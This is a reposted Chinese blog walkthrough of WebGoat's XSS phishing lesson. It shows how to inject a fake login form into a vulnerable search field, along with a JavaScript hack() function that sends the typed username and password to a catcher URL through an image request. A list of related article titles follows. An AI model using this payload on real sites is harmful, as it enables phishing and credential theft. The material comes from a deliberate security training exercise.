【WebGoat笔记】--- Cross-Site Scripting(XSS)
目标:
伪造一个登陆界面,要求用户输入用户名和密码,将数据提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
解决步骤:
首先:随意输入搜索内容,如:123.
打开源代码,检测是否有未关闭的标签。由于这是一个入门级的练手任务,代码漏洞百出,这一层就不用考虑了。
第二步:尝试在搜索栏中插入JavaScript代码,比如通用的:<script>alert("XSS!");</script>
成功报出提示信息:
值得注意的是,JS脚本语言的插入在我的机器上只能用IE实行,在chrome上则没有任何反应。可能是chrome所用脚本语言有所区别。
第三步:构造代码,伪造一个登陆界面:
<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>
其中,οnclick="hack()"是用户点击登录之后的按钮行为,具体函数在随后构建。
第四步:继续完善欺骗代码,构建JS函数,将获取的用户名和密码提交到相应的链接上。最后的输入代码如下:
<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>
这样,当被欺骗的用户输入用户名和密码之后,将报出提示信息,并将用户名和密码发送到相应链接。
webgoat的提示说,如果创建一个image:XSSImage=newImage(),并声明XSSImage.src=SOME_URL那么JavaScript会执行一个提交。对JS语言不熟,这个今后再研究。
转载于:https://www.cnblogs.com/y0umer/archive/2011/12/21/3839117.html
【WebGoat笔记】--- Cross-Site Scripting(XSS)相关推荐
- Reflected Cross Site Scripting (XSS)
前言 反射型XSS, 即 Reflected Cross Site Scripting (XSS), 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的 页 ...
- DVWA-Reflected Cross Site Scripting (XSS)
实验环境: DVWA靶机:172.16.12.10 靶场用户名:admin 密码:123 windos攻击机:172.16.12.7 kali攻击机:172.16.12.30 实验步骤: 反射型Xss ...
- DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)
目录 Low Medium High Impossible 反射型XSS:恶意脚本未经转义被直接输入并作为HTML输出的一部分,恶意脚本不在后台存储,直接在前端浏览器被执行. 攻击者可以使用XSS向恶 ...
- 跨站脚本攻击(Cross‐Site Scripting (XSS))实践
作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...
- XSS(Cross Site Scripting)攻击简介
环境 Ubuntu 22.04 IntelliJ IDEA 2022.1.3 JDK 17.0.3.1 Spring Boot 3.0.1 Firefox 108.0.2 问题和分析 在Intelli ...
- DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)
DVWA V1.9:Reflected Cross Site Scripting(存储型XSS) 存储型 XSS 介绍 Low 级别 核心代码 官方提示 漏洞利用 Medium 级别 核心代码 官方提 ...
- WebGoat系列实验Cross-Site Scripting (XSS)
WebGoat系列实验Cross-Site Scripting (XSS) PhishingTitle 本次实验是在一个已知存在XSS漏洞的页面进行钓鱼攻击.通过使用XSS与HTML注入,在页面中注入 ...
- 【常见Web应用安全问题】---1、Cross Site Scripting
Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些. 常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...
- XSSF - Cross Site Scripting Framework
2019独角兽企业重金招聘Python工程师标准>>> 跨站脚本框架 (XSSF) 是一个设计用来快速发现网站存在XSS漏洞的一个安全工具集. 该项目是为了验证网站存在的XSS漏洞及 ...
最新文章
- java aws访问授权 实例_java – 使用IAM身份验证和Spring JDBC访问AWS ...
- 基于Springboot实现在线考试管理系统
- react antD moment
- docker项目部署 php_「Docker部署PHP+Vue项目」- 海风纷飞Blog
- 【渝粤教育】 国家开放大学2020年春季 2136管理会计 参考试题
- “产学合作勇创新·协同育人书新篇”贵州理工大数据学院数据科学训练营结题答辩报告会圆满举行...
- 类如何调用自己的私有成员_企业如何快速获取自己的私有领域流量?
- 在unity向量空间内绘制几何(2):计算球体的表面坐标
- JavaScript警告框中的新行
- Mesos资源调度与管理的深入分享与交流
- 用rtl8139网卡制作的bios编程器(不用并口)
- 南理工计算机专业好吗,吉大计算机or南理工计算机?(江苏考生)
- [ROC-RK3568-PC] [Firefly-Android] 10min带你了解UART的使用
- 前端代码是怎样智能生成的
- shields 徽标_创意讲故事徽标的剖析
- 小米商城官网(登录页,首页,详情页,我的购物车页,我的订单页,确认订单页)HTML+CSS+JS
- 写交织(AXI4不在支持写交织功能)
- 如何成为一名真正的程序员
- Android开发— Android API Levels
- shutil模块:复制文件和文件夹,文件压缩
热门文章
- 雷蛇鼠标安全漏洞 装上就能获得管理员权限
- 零基础学Python(第一章 开发工具·最简易的环境·无需配置环境变量)
- ORA-29861: 域索引标记为 LOADING/FAILED/UNUSABLE
- Oracle ADDM 自动诊断监视工具 介绍
- ##安装MySql数据库并解决如果安装出错卸载的注意事项
- 合肥工业大学宣城校区大学生创新创业训练项目申报书:“基于Spark平台的人工智能知识的知识图谱构建”...
- VS2017 下载离线MSDN文档
- 【BZOJ 1096】[ZJOI2007]仓库建设
- webbrowser载入地图网页出现脚本错误解决
- java中使用jxl导出Excel表格详细通用步骤